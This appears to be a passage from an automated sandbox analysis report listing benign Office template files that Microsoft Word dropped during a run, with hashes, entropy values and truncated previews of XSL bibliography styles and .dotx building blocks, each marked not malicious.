Preview:	PK.........nB;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK........5nB;.ndX....`......._rels/.rels...J.1.._%..f.J.J..x..AJ.2M&......g..#............\|.c..x{_._..^0e.\|.gU..z.....#.._..[..JG.m.....(...e..r."....P)....3..M].E:..SO.;D..c..J..rt...c.,.....a.;.....$.../5..D.Ue.g...Q3......5.':...@...~t{.v..QA>.P.R.A~..^AR.S4G......].n...x41....PK.........^5..s.V....Z......diagrams/layout1.xml.[]o.F.}N~..S.......VU.U+m6R........&.d.}...{M....Q.S....p9.'./O..z."..t>q....."[..j>y..?...u....[.}..j-...?Y..Bdy.I./.....0.._.....-.s...rj...I..=..<..9.\|>YK.....o.\|.my.F.LlB..be/E.Y!.$6r.f/.p%.......U....e..W.R..fK....`+?.rwX.[.b..\|..O>o.\|.....>1.......trN`7g..Oi.@5..^...]4.r...-y...T.h...[.j1..v....G..........nS..m..E"L...s

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851216[[fn=apasixtheditionofficeonline]].xsl (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	333258
Entropy (8bit):	4.654450340871081
Encrypted:	false
SSDEEP:	6144:ybW83Zb181+MKHZR5D7H3hgtfL/8mIDbEhPv9FHSVsioWUyGYmwxAw+GIfnUNv5J:i
MD5:	5632C4A81D2193986ACD29EADF1A2177
SHA1:	E8FF4FDFEB0002786FCE1CF8F3D25F8E9631E346
SHA-256:	06DE709513D7976690B3DD8F5FDF1E59CF456A2DFBA952B97EACC72FE47B238B
SHA-512:	676CE1957A374E0F36634AA9CFFBCFB1E1BEFE1B31EE876483B10763EA9B2D703F2F3782B642A5D7D0945C5149B572751EBD9ABB47982864834EF61E3427C796
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>....<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">.. <xsl:output method="html" encoding="us-ascii"/>.... <xsl:template match="*" mode="outputHtml2">.. <xsl:apply-templates mode="outputHtml"/>.. </xsl:template>.... <xsl:template name="StringFormatDot">.. <xsl:param name="format" />.. <xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.. <xsl:when test="$format = ''"></xsl:when>.. <xsl:when test="substring($format, 1, 2) = '%%'">.. <xsl:text>%</xsl:text>.. <xsl:call-template name="StringFormatDot">.. <xsl:with-param name="format" select="substring($format, 3)" />.. <xsl:with-param name=

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851217[[fn=chicago]].xsl (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	296658
Entropy (8bit):	5.000002997029767
Encrypted:	false
SSDEEP:	6144:RwprAMk0qvtfL/vF/bkWPz9yv7EOMBPitjASjTQQr7IwR0TnyDkJb78plJwf33iV:M
MD5:	9AC6DE7B629A4A802A41F93DB2C49747
SHA1:	3D6E929AA1330C869D83F2BF8EBEBACD197FB367
SHA-256:	52984BC716569120D57C8E6A360376E9934F00CF31447F5892514DDCCF546293
SHA-512:	5736F14569E0341AFB5576C94B0A7F87E42499CEC5927AAC83BB5A1F77B279C00AEA86B5F341E4215076D800F085D831F34E4425AD9CFD52C7AE4282864B1E73
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>....<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>............<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$para

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851218[[fn=gb]].xsl (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	268317
Entropy (8bit):	5.05419861997223
Encrypted:	false
SSDEEP:	6144:JwprAJLR95vtfb8p4bgWPzDCvCmvQursq7vImej/yQzSS1apSiQhHDOruvoVeMUh:N9
MD5:	51D32EE5BC7AB811041F799652D26E04
SHA1:	412193006AA3EF19E0A57E16ACF86B830993024A
SHA-256:	6230814BF5B2D554397580613E20681752240AB87FD354ECECF188C1EABE0E97
SHA-512:	5FC5D889B0C8E5EF464B76F0C4C9E61BDA59B2D1205AC9417CC74D6E9F989FB73D78B4EB3044A1A1E1F2C00CE1CA1BD6D4D07EEADC4108C7B124867711C31810
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..............<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$para

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851219[[fn=gostname]].xsl (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	255948
Entropy (8bit):	5.103631650117028
Encrypted:	false
SSDEEP:	6144:gwprAm795vtfb8p4bgWPWEtTmtcRCDPThNPFQwB+26RxlsIBkAgRMBHcTCwsHe5a:kW
MD5:	9888A214D362470A6189DEFF775BE139
SHA1:	32B552EB3C73CD7D0D9D924C96B27A86753E0F97
SHA-256:	C64ED5C2A323C00E84272AD3A701CAEBE1DCCEB67231978DE978042F09635FA7
SHA-512:	8A75FC2713003FA40B9730D29C786C76A796F30E6ACE12064468DD2BB4BF97EF26AC43FFE1158AB1DB06FF715D2E6CDE8EF3E8B7C49AA1341603CE122F311073
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>............<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..........<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select=

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851220[[fn=gosttitle]].xsl (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	251032
Entropy (8bit):	5.102652100491927
Encrypted:	false
SSDEEP:	6144:hwprA5R95vtfb8p4bgWPwW6/m26AnV9IBgIkqm6HITUZJcjUZS1XkaNPQTlvB2zr:JA
MD5:	F425D8C274A8571B625EE66A8CE60287
SHA1:	29899E309C56F2517C7D9385ECDBB719B9E2A12B
SHA-256:	DD7B7878427276AF5DBF8355ECE0D1FE5D693DF55AF3F79347F9D20AE50DB938
SHA-512:	E567F283D903FA533977B30FD753AA1043B9DDE48A251A9AC6777A3B67667443FEAD0003765A630D0F840B6C275818D2F903B6CB56136BEDCC6D9BDD20776564
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>......<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..........<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$para

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851221[[fn=harvardanglia2008officeonline]].xsl (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	284415
Entropy (8bit):	5.00549404077789
Encrypted:	false
SSDEEP:	6144:N9G5o7Fv0ZcxrStAtXWty8zRLYBQd8itHiYYPVJHMSo27hlwNR57johqBXlwNR2b:y
MD5:	33A829B4893044E1851725F4DAF20271
SHA1:	DAC368749004C255FB0777E79F6E4426E12E5EC8
SHA-256:	C40451CADF8944A9625DD690624EA1BA19CECB825A67081E8144AD5526116924
SHA-512:	41C1F65E818C2757E1A37F5255E98F6EDEAC4214F9D189AD09C6F7A51F036768C1A03D6CFD5845A42C455EE189D13BB795673ACE3B50F3E1D77DAFF400F4D708
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>....<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt"......xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">.....<xsl:output method="html" encoding="us-ascii"/>.....<xsl:template match="/">....<xsl:call-template name="Start"/>...</xsl:template>.....<xsl:template name="Start">....<xsl:choose>.....<xsl:when test="b:Version">......<xsl:text>2010.2.02</xsl:text>.....</xsl:when>.......<xsl:when test="b:XslVersion">......<xsl:text>2008</xsl:text>.....</xsl:when>.... <xsl:when test="b:StyleNameLocalized">.. <xsl:choose>.. <xsl:when test="b:StyleNameLocalized/b:Lcid='1033'">.. <xsl:text>Harvard - Anglia</xsl:text>.. </xsl:when>.. <xsl:when test="b:StyleNameLocalized/b:Lcid='1025'">.. <xsl:text>Harvard - Anglia</xsl:text>.. </xsl:when>.. <x

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851222[[fn=ieee2006officeonline]].xsl (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	294178
Entropy (8bit):	4.977758311135714
Encrypted:	false
SSDEEP:	6144:ydkJ3yU0orh0SCLVXyMFsoiOjWIm4vW2uo4hfhf7v3uH4NYYP4BpBaZTTSSamEUD:b
MD5:	0C9731C90DD24ED5CA6AE283741078D0
SHA1:	BDD3D7E5B0DE9240805EA53EF2EB784A4A121064
SHA-256:	ABCE25D1EB3E70742EC278F35E4157EDB1D457A7F9D002AC658AAA6EA4E4DCDF
SHA-512:	A39E6201D6B34F37C686D9BD144DDD38AE212EDA26E3B81B06F1776891A90D84B65F2ABC5B8F546A7EFF3A62D35E432AF0254E2F5BFE4AA3E0CF9530D25949C0
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>....<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt"......xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">.....<xsl:output method="html" encoding="us-ascii"/>.....<xsl:template match="/">....<xsl:call-template name="Start"/>...</xsl:template>.....<xsl:template name="Start">....<xsl:choose>.....<xsl:when test="b:Version">......<xsl:text>2010.2.02</xsl:text>.....</xsl:when>.......<xsl:when test="b:XslVersion">......<xsl:text>2006</xsl:text>.....</xsl:when>.. <xsl:when test="b:StyleNameLocalized">.. <xsl:choose>.. <xsl:when test="b:StyleNameLocalized/b:Lcid='1033'">.. <xsl:text>IEEE</xsl:text>.. </xsl:when>.. <xsl:when test="b:StyleNameLocalized/b:Lcid='1025'">.. <xsl:text>IEEE</xsl:text>.. </xsl:when>.. <xsl:when test="b:StyleNameL

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851223[[fn=iso690]].xsl (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	270198
Entropy (8bit):	5.073814698282113
Encrypted:	false
SSDEEP:	6144:JwprAiaR95vtfb8pDbgWPzDCvCmvQursq7vImej/yQ4SS1apSiQhHDOruvoVeMUX:We
MD5:	FF0E07EFF1333CDF9FC2523D323DD654
SHA1:	77A1AE0DD8DBC3FEE65DD6266F31E2A564D088A4
SHA-256:	3F925E0CC1542F09DE1F99060899EAFB0042BB9682507C907173C392115A44B5
SHA-512:	B4615F995FAB87661C2DBE46625AA982215D7BDE27CAFAE221DCA76087FE76DA4B4A381943436FCAC1577CB3D260D0050B32B7B93E3EB07912494429F126BB3D
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..............<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$para

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851224[[fn=iso690nmerical]].xsl (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	217137
Entropy (8bit):	5.068335381017074
Encrypted:	false
SSDEEP:	6144:AwprA3Z95vtf58pb1WP2DCvCmvQursq7vIme5QyQzSS1apSiQhHDlruvoVeMUwFj:4P
MD5:	3BF8591E1D808BCCAD8EE2B822CC156B
SHA1:	9CC1E5EFD715BD0EAE5AF983FB349BAC7A6D7BA0
SHA-256:	7194396E5C833E6C8710A2E5D114E8E24338C64EC9818D51A929D57A5E4A76C8
SHA-512:	D434A4C15DA3711A5DAAF5F7D0A5E324B4D94A04B3787CA35456BFE423EAC9D11532BB742CDE6E23C16FA9FD203D3636BD198B41C7A51E7D3562D5306D74F757
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..........<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>...... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$parame

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851225[[fn=mlaseventheditionofficeonline]].xsl (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	254875
Entropy (8bit):	5.003842588822783
Encrypted:	false
SSDEEP:	6144:MwprAnniNgtfbzbOWPuv7kOMBLitjAUjTQLrYHwR0TnyDkHqV3iPr1zHX5T6SSXj:a
MD5:	377B3E355414466F3E3861BCE1844976
SHA1:	0B639A3880ACA3FD90FA918197A669CC005E2BA4
SHA-256:	4AC5B26C5E66E122DE80243EF621CA3E1142F643DD2AD61B75FF41CFEE3DFFAF
SHA-512:	B050AD52A8161F96CBDC880DD1356186F381B57159F5010489B04528DB798DB955F0C530465AB3ECD5C653586508429D98336D6EB150436F1A53ABEE0697AEB9
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>......<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>.....<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>...</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />......<xsl:variable name="prop_EndChars">.....<xsl:call-template name="templ_prop_EndChars"/>....</xsl:variable>......<xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$parameters" />......

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851226[[fn=turabian]].xsl (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	344303
Entropy (8bit):	5.023195898304535
Encrypted:	false
SSDEEP:	6144:UwprANnsqvtfL/vF/bkWPRMMv7EOMBPitjASjTQQr7IwR0TnyDk1b78plJwf33iD:6
MD5:	F079EC5E2CCB9CD4529673BCDFB90486
SHA1:	FBA6696E6FA918F52997193168867DD3AEBE1AD6
SHA-256:	3B651258F4D0EE1BFFC7FB189250DED1B920475D1682370D6685769E3A9346DB
SHA-512:	4FFFA59863F94B3778F321DA16C43B92A3053E024BDD8C5317077EA1ECC7B09F67ECE3C377DB693F3432BF1E2D947EC5BF8E88E19157ED08632537D8437C87D6
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>......<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>............<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$pa

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851227[[fn=sist02]].xsl (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	250983
Entropy (8bit):	5.057714239438731
Encrypted:	false
SSDEEP:	6144:JwprA6OS95vtfb8p4bgWPzkhUh9I5/oBRSifJeg/yQzvapSiQhHZeruvoXMUw3im:uP
MD5:	F883B260A8D67082EA895C14BF56DD56
SHA1:	7954565C1F243D46AD3B1E2F1BAF3281451FC14B
SHA-256:	EF4835DB41A485B56C2EF0FF7094BC2350460573A686182BC45FD6613480E353
SHA-512:	D95924A499F32D9B4D9A7D298502181F9E9048C21DBE0496FA3C3279B263D6F7D594B859111A99B1A53BD248EE69B867D7B1768C42E1E40934E0B990F0CE051E
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..............<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$para

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Building Blocks\1033\TM01840907[[fn=Equations]].dotx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	51826
Entropy (8bit):	5.541375256745271
Encrypted:	false
SSDEEP:	384:erH5dYPCA4t3aEFGiSUDtYfEbi5Ry/AT7/6tHODaFlDSomurYNfT4A0VIwWNS89u:Q6Cbh9tENyWdaFUSYNfZS89/3qtEu
MD5:	2AB22AC99ACFA8A82742E774323C0DBD
SHA1:	790F8B56DF79641E83A16E443A75A66E6AA2F244
SHA-256:	BC9D45D0419A08840093B0BF4DCF96264C02DFE5BD295CD9B53722E1DA02929D
SHA-512:	E5715C0ECF35CE250968BD6DE5744D28A9F57D20FD6866E2AF0B2D8C8F80FEDC741D48F554397D61C5E702DA896BD33EED92D778DBAC71E2E98DCFB0912DE07B
Malicious:	false
Preview:	PK.........R.@c}LN4...........[Content_Types].xml ...(.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................`.I.%&/m.{.J.J..t...`.$.@........iG#)...eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.....D....>.V...f-}..r9....=..Mn..U..5.(.....a...E..b......w.$...,O_fu."[P..WU=.;.....5..wdt..y1.......i.44-.r....;./.biG.Cd.n.j.{/......V....c..^^.E.H?H.........B.........<...Ae.l.]..{....mK......B....

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Building Blocks\1033\TM02835233[[fn=Text Sidebar (Annual Report Red and Black design)]].docx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	47296
Entropy (8bit):	6.42327948041841
Encrypted:	false
SSDEEP:	768:ftjI1BT8N37szq00s7dB2wMVJGHR97/RDU5naXUsT:fJIPTfq0ndB2w1bpsE
MD5:	5A53F55DD7DA8F10A8C0E711F548B335
SHA1:	035E685927DA2FECB88DE9CAF0BECEC88BC118A7
SHA-256:	66501B659614227584DA04B64F44309544355E3582F59DBCA3C9463F67B7E303
SHA-512:	095BD5D1ACA2A0CA3430DE2F005E1D576AC9387E096D32D556E4348F02F4D658D0E22F2FC4AA5BF6C07437E6A6230D2ABF73BBD1A0344D73B864BC4813D60861
Malicious:	false
Preview:	PK........<dSA4...T...P.......[Content_Types].xml ...(........................................................................................................................................................................................................................................................................................................................................................................................................................................`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`..^\-o..D....n_d.jq...gwg.t........:?/..}..Vu5...rQ..7..X.Q."./g..o....f....YB......<..w?...ss..e.4Y}}...0.Y...........u3V.o..r...5....7bA..Us.z.`.r(.Y>.&DVy.........6.T...e.\|..g.%<...9a.&...7...}3:B.......<...!...:..7w...y..

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Building Blocks\1033\TM03998158[[fn=Element]].dotx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	34415
Entropy (8bit):	7.352974342178997
Encrypted:	false
SSDEEP:	768:ev13NPo9o5NGEVIi3kvH+3SMdk7zp3tE2:ev13xoOE+R3BkR7
MD5:	7CDFFC23FB85AD5737452762FA36AAA0
SHA1:	CFBC97247959B3142AFD7B6858AD37B18AFB3237
SHA-256:	68A8FBFBEE4C903E17C9421082E839144C205C559AFE61338CBDB3AF79F0D270
SHA-512:	A0685FD251208B772436E9745DA2AA52BC26E275537688E3AB44589372D876C9ACE14B21F16EC4053C50EB4C8E11787E9B9D922E37249D2795C5B7986497033E
Malicious:	false
Preview:	PK.........Y5B#.W ............[Content_Types].xml ...(...................................................................................................................................................................................................................................................................................................................................................................................................................................................`.I.%&/m.{.J.J..t...`.$.@........iG#)...eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.....D....>.V...f-}..r9....=..Mn..U..5.(.....a...E..b......w.$...,O_fu."[P..WU=.;.....5..wdt..y1.......i.44-.r....;./.biG=.HK...........&o[B....z.7.o...&.......[.oL_7cuN..&e..ccAo...YW......8...Y>.&DVy...-&....Y.....4.u.., !po....9W....g..F...+1....d,'...L.M[-~.Ey. ......[

C:\Users\user\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Building Blocks\1033\TM03998159[[fn=Insight]].dotx (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	3465076
Entropy (8bit):	7.898517227646252
Encrypted:	false
SSDEEP:	98304:n8ItVaN7vTMZ9IBbaETXbI8ItVaN7vTMZ9IBbaEiXbY:8ItwNX9BvTvItwNX9BvoM
